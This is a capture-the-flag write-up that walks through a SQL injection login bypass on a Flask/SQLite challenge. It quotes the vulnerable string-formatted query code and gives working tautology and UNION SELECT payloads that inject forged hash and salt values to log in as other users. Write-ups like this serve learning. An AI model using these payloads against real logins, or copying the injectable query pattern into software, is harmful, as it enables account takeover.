Tags: web sqlinjection
Rating:
There is an login form on the page, and registration is disabled.
trying clientname = 'or'1'='1 and any password, we got Invalid password for ' or '1'='1; trying arbitrary clientname, we got No such user in the database. So the SQLi obviously works on clientname field, but the password is checked via other means.
Now trying clientname=', we got sql error. clicking on the messages we got a piece of code:
connection = sqlite3.connect(os.path.join(directoryFordata, 'clients.db'))
pointer = connection.cursor()
search = """SELECT id, hash, salt FROM clients
WHERE clientname = '{0}' LIMIT 1""".format(clientname)
pointer.execute(search)
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
res = pointer.fetchone()
if not res:
return "No such user in the database {0}!\n".format(clientname)
userID, hash, salt = res
calculatedHash = hashlib.sha256(password + salt)
if calculatedHash.hexdigest() != hash:
return "Invalid password for {0}!\n".format(clientname)
flask.session['userID'] = userID
return flask.redirect('/')
combine 2 and 3, we can have a clear image on the authentication process.
Now we can inject our own credentials: compute hash=hashlib.sha256('1' + '1')
clientname = ' UNION SELECT 1, hash, '1';--
password = 1 OK. Logged in! But the secret is useless.
Remember the notes on the home page? Goutham got a password!
clientname = ' UNION SELECT id, hash, '1' FROM clients WHERE clientname = '';--
password = 1
Flag revealed!
Welcome back valid user! Your digital secret is: "WPI{y0ur_fl46_h45_l1k3ly_b31n6_c0mpr0m153d}"